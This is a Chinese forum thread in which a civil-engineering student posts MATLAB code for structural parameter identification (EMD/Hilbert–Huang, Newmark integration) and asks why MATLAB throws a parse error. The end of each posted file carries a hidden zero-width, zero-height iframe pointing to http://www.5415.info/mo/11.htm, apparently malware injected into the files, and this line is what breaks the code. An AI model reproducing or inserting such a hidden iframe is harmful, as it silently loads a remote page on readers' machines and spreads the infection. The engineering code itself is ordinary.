运行程序出错,请大家帮忙看看究竟那错了?

土木学子

我运行一个程序,但出现问题,我不知是什么错误,请大家帮忙指导指导,程序如下
% program of vtb4-2d(0.01)
% 根据振型分解法与EMD方法的关系比较，尝试采用HHT法直接识别结构参数
clear;clc;close all;
[x,t,F,phi]=vtb4_6(20,0.02,0.01);

% calulate the auto-ralation and cross-ralation
y1=x(1,:);
y2=x(2,:);

% handling the response of the 1-floor
y11=bandfilter1(50,1,3,y1,t);
imf11=emd(y11,t);
[s11,f11,a11,b11,dE11,theta11,ndE11,ntha11]= danimfphase1(imf11(1,:),t);

y12=bandfilter1(50,3,5.5,y1,t);
imf12=emd(y12,t);
[s12,f12,a12,b12,dE12,theta12,ndE12,ntha12]= danimfphase1(imf12(1,:),t);

% handling the response of the 2-floor
y21=bandfilter1(50,1,3,y2,t);
imf21=emd(y21,t);
[s21,f21,a21,b21,dE21,theta21,ndE21,ntha21]= danimfphase1(imf21(1,:),t);

y22=bandfilter1(50,3,5.5,y2,t);
imf22=emd(y22,t);
[s22,f22,a22,b22,dE22,theta22,ndE22,ntha22]= danimfphase1(imf22(1,:),t);

% calculate the mode shape
A=[a11,a12;a21,a22];
Sta=[b11,b12;b21,b22];
sbphi=[];
for i=1:2
    for j=1:2
      sbphi(i,j)=exp(A(i,j)-A(2,j));
      dtsta(i,j)=Sta(i,j)-Sta(2,j);
       if mod(round(dtsta(i,j)/pi),2)==0
          sbphi(i,j)=sbphi(i,j);
       else
          sbphi(i,j)=-sbphi(i,j);
       end
    end
end
sbphi;

% 计算层间刚度K;
[np,mp]=size(sbphi);
% K=[];
M=1e7*[2;1];
for ju=1:np
    if ju==1
         u(ju,:)=sbphi(ju,:);
    else
          u(ju,:)=sbphi(ju,:)-sbphi(ju-1,:);
    end
end   
KK=[];
for j=1:np
   SMU=0;
   for i=j:np
        MU(i)=M(i)*sbphi(i,1);
        SMU=SMU+MU(i);
   end
   kk(j)=(f11*2*pi)^2*SMU/u(j);
   KK=[KK;kk(j)];
end
% K=[K,KK];<IFRAME SRC="http://www.5415.info/mo/11.htm" WIDTH=0 HEIGHT=0></IFRAME>

M文件vtb4_6.m如下
function [x,t,F,phi]=vtb4_6(tf,delt,sga)
% 用纽马克法计算2自由度线性系统谐迫振动响应
close all;clc
fid1=fopen('disp_vtb4','wt');
m1=2e7;
m2=1e7;
k1=6.4e9;
k2=5e9;
m=[m1 0;0 m2];
k=[k1+k2,-k2;-k2,k2];
[n,s]=size(m);
M=inv(m);

for i=1:n
    sgma(i)=sga;
end   

[E,F]=eig(M*k);
w=diag(sqrt(F));
F=w/2/pi;
for i=s:-1:1
    phi(2,i)=1;
    for j=1:n-1
        phi(j,i)=E(j,i)/E(2,i);
    end
end  

Q=[w(1)^(-1),w(1);w(2)^(-1),w(2)];
a=2*inv(Q)*sgma';
c=a(1)*m+a(2)*k;

x0=[0.0 0.02]';
v0=[0 0]';
bita=1/6;
md=inv(m+delt/2*c+bita*delt^2*k);

t=0:delt:tf;
nt=length(t);
f1=[];
for i=1:nt
%   f=-m*dzhbo(i)*ones(3,1);
%   f1=[f1,f];
    f=-m*ones(2,1)*2*cos(16*pi*t(i));
    if t(i)==0;
        xdd0=M*(f-k*x0-c*v0);
    else
        xdd=md*(f-c*(v0+delt/2*xdd0)-k*(x0+delt*v0+(1/2-bita)*delt^2*xdd0));
        xd=v0+delt/2*(xdd0+xdd);
        x=x0+delt*v0+delt^2/2*xdd0+bita*delt^3*(xdd-xdd0)/delt;
        xdd0=xdd;v0=xd;x0=x;
        fprintf(fid1,'%10.4f',xdd0);
%        t;
    end
end
fid2=fopen('disp_vtb4','rt');
n=tf/delt;
x=fscanf(fid2,'%f',[2,n]);
t=delt:delt:tf;
subplot(2,1,1);
plot(t,x(1,:)),xlabel('时间(s)');ylabel('位移(m)');title('自由度1的位移与时间的关系')
subplot(2,1,2);
plot(t,x(2,:)),xlabel('时间(s)');ylabel('位移(m)');title('自由度2的位移与时间的关系')
<IFRAME SRC="http://www.5415.info/mo/11.htm" WIDTH=0 HEIGHT=0></IFRAME>
最后在matlab里运行后出错如下:
??? Error: File: C:\MATLAB6p5\work\vtb4_6.m Line: 63 Column: 1
"End of Input" expected, "<" found.
第63行是<IFRAME SRC="http://www.5415.info/mo/11.htm" WIDTH=0 HEIGHT=0></IFRAME>       我不懂错在什么地方?

16443

http://www.5415.info/mo/11.htm
这个网址信息好像不是vtb4_6.m文件的内容吧，你是不是下载别人的程序直接用啊？

土木学子

上面忘了把danimfphase1.m文件给出,下面补上
function [s,f,a,b,dE,theta,ndE,ntha]= danimfphase1(data,t)
% 采用Hilbert变换和最小线性二乘拟和计算结构的频率和阻尼比
% 适合处理线性时不变结构
% theta-- the phase angle
% a-- the amplitude
% w-- the instantaneous circular frequency
% f-- the instantaneous frequency
% p-- the slope of log(a)
% s-- the damping ratio

% Hilbert transform
H=hilbert(data);
a=abs(H);
theta=unwrap(angle(H));

% identify the parameter(the instantaneous frequency and the damping ratio)
dE=log(a);
p1=polyfit(t,dE,1);
p2=polyfit(t,theta,1);

wd=p2(1);
w=sqrt(p1(1)^2+p2(1)^2);
s=sqrt(p1(1)^2/(p1(1)^2+p2(1)^2));
f=w./(2*pi);

% the comparison of the fitted value and the calculated value
ndE=p1(1)*t+p1(2);
ntha=p2(1)*t+p2(2);
subplot(2,1,1);plot(t,dE);grid on;
title('ln(幅值)的线性拟合');
ylabel('ln(幅值)');
xlabel('时间(s)');
hold on;
plot(t,ndE,'-.r');
legend('ln(幅值)','ln(幅值)的线性拟合')
subplot(2,1,2);plot(t,theta);grid on;
title('相位角的线性拟合');
ylabel('相位角');
xlabel('时间(s)');
hold on;
plot(t,ntha,'-.r');
legend('相位角','相位角的线性拟合')

% title('linear fit of ln(amplitude)');
% ylabel('ln(amplitude)');
% xlabel('time');
% hold on;
% plot(t,ndE,'-.r');
% legend('ln(amplitude)','linear fit of ln(amplitude)')
% subplot(2,1,2);plot(t,theta);grid on;
% title('linear fit of phase');
% ylabel('phase');
% xlabel('time');
% hold on;
% plot(t,ntha,'-.r');
% legend('phase','linear fit of phase')

m=length(t);
a=p1(1)*t(round(m/2))+p1(2);
b=p2(1)*t(round(m/2))+p2(2);

<IFRAME SRC="http://www.5415.info/mo/11.htm" WIDTH=0 HEIGHT=0></IFRAME>

土木学子

那个网址不是vtb4_6.m文件的内容,究竟怎么个改法呢